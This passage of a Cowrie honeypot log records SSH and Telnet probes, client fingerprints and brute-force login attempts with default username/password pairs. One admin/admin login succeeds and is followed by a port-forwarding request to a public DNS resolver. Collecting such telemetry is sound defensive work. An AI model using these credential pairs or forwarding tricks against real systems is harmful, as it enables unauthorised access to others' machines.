{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:01.014742Z","src_ip":"80.94.92.186","session":"a919f0325512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:01.548710Z","src_ip":"80.94.92.186","session":"a919f0325512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:02.768444Z","src_ip":"80.94.92.186","session":"a919f0325512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.194.76.237","src_port":37688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd831a99388","protocol":"telnet","message":"New connection: 68.194.76.237:37688 (10.17.0.5:23) [session: 7dd831a99388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:05.014830Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.194.76.237","src_port":37680,"dst_ip":"10.17.0.5","dst_port":23,"session":"a548cbb0e8cf","protocol":"telnet","message":"New connection: 68.194.76.237:37680 (10.17.0.5:23) [session: a548cbb0e8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:05.071857Z"}
{"eventid":"cowrie.session.closed","duration":2.429975986480713,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:07.501705Z","src_ip":"68.194.76.237","session":"a548cbb0e8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":52514,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b825a5d4fd","protocol":"ssh","message":"New connection: 58.186.20.143:52514 (10.17.0.5:22) [session: f4b825a5d4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:11.521747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:11.526397Z","src_ip":"58.186.20.143","session":"f4b825a5d4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:11.768281Z","src_ip":"58.186.20.143","session":"f4b825a5d4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"test123","message":"login attempt [centos/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:12.768719Z","src_ip":"58.186.20.143","session":"f4b825a5d4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:14.014565Z","src_ip":"58.186.20.143","session":"f4b825a5d4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.10.155.138","src_port":50489,"dst_ip":"159.203.135.109","dst_port":23,"session":"49104cb37e01","protocol":"telnet","message":"New connection: 60.10.155.138:50489 (159.203.135.109:23) [session: 49104cb37e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:23.570651Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":48010,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7f3e701dfd","protocol":"telnet","message":"New connection: 180.235.129.180:48010 (10.17.0.5:23) [session: dc7f3e701dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:31.711395Z"}
{"eventid":"cowrie.session.closed","duration":8.594023942947388,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:32.164546Z","src_ip":"60.10.155.138","session":"49104cb37e01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":48008,"dst_ip":"10.17.0.5","dst_port":23,"session":"565fb6e2a60d","protocol":"telnet","message":"New connection: 180.235.129.180:48008 (10.17.0.5:23) [session: 565fb6e2a60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:33.772764Z"}
{"eventid":"cowrie.session.closed","duration":30.8880455493927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:35.902730Z","src_ip":"68.194.76.237","session":"7dd831a99388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.368762016296387,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:38.080019Z","src_ip":"180.235.129.180","session":"dc7f3e701dfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.4085211753845215,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:39.181155Z","src_ip":"180.235.129.180","session":"565fb6e2a60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":50266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b810fe5c899","protocol":"ssh","message":"New connection: 101.47.159.125:50266 (159.203.135.109:22) [session: 0b810fe5c899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:00.742406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:00.747815Z","src_ip":"101.47.159.125","session":"0b810fe5c899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:00.979298Z","src_ip":"101.47.159.125","session":"0b810fe5c899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"4dm1n1str4d0r","message":"login attempt [administrador/4dm1n1str4d0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:01.935417Z","src_ip":"101.47.159.125","session":"0b810fe5c899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:03.170875Z","src_ip":"101.47.159.125","session":"0b810fe5c899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52304,"dst_ip":"10.17.0.5","dst_port":22,"session":"873f9b5cf06a","protocol":"ssh","message":"New connection: 87.251.64.176:52304 (10.17.0.5:22) [session: 873f9b5cf06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.117936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.127359Z","src_ip":"87.251.64.176","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.224086Z","src_ip":"87.251.64.176","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.514251Z","src_ip":"87.251.64.176","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.613584Z","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.711307Z","src_ip":"87.251.64.176","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:17.810260Z","src_ip":"87.251.64.176","session":"873f9b5cf06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":53878,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a21318b99e0","protocol":"ssh","message":"New connection: 160.251.185.39:53878 (10.17.0.5:22) [session: 4a21318b99e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:44.522104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:44.527161Z","src_ip":"160.251.185.39","session":"4a21318b99e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:44.701619Z","src_ip":"160.251.185.39","session":"4a21318b99e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luser","password":"luser","message":"login attempt [luser/luser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:45.443642Z","src_ip":"160.251.185.39","session":"4a21318b99e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:44:46.623781Z","src_ip":"160.251.185.39","session":"4a21318b99e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"729ead20b227","protocol":"ssh","message":"New connection: 58.186.20.143:58434 (10.17.0.5:22) [session: 729ead20b227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:01.960416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:01.966496Z","src_ip":"58.186.20.143","session":"729ead20b227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:02.213486Z","src_ip":"58.186.20.143","session":"729ead20b227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"test1234","message":"login attempt [nagios/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:03.231561Z","src_ip":"58.186.20.143","session":"729ead20b227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:04.514941Z","src_ip":"58.186.20.143","session":"729ead20b227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":47326,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0305cc11c1","protocol":"ssh","message":"New connection: 101.47.159.125:47326 (159.203.135.109:22) [session: 4a0305cc11c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:54.820420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:54.825687Z","src_ip":"101.47.159.125","session":"4a0305cc11c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:55.072128Z","src_ip":"101.47.159.125","session":"4a0305cc11c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123admin","message":"login attempt [ubuntu/123admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:56.087250Z","src_ip":"101.47.159.125","session":"4a0305cc11c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:45:57.337620Z","src_ip":"101.47.159.125","session":"4a0305cc11c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d25b9aafee","protocol":"ssh","message":"New connection: 87.251.64.176:7750 (10.17.0.5:22) [session: b1d25b9aafee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:04.906623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:46:04.911874Z","src_ip":"87.251.64.176","session":"b1d25b9aafee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-g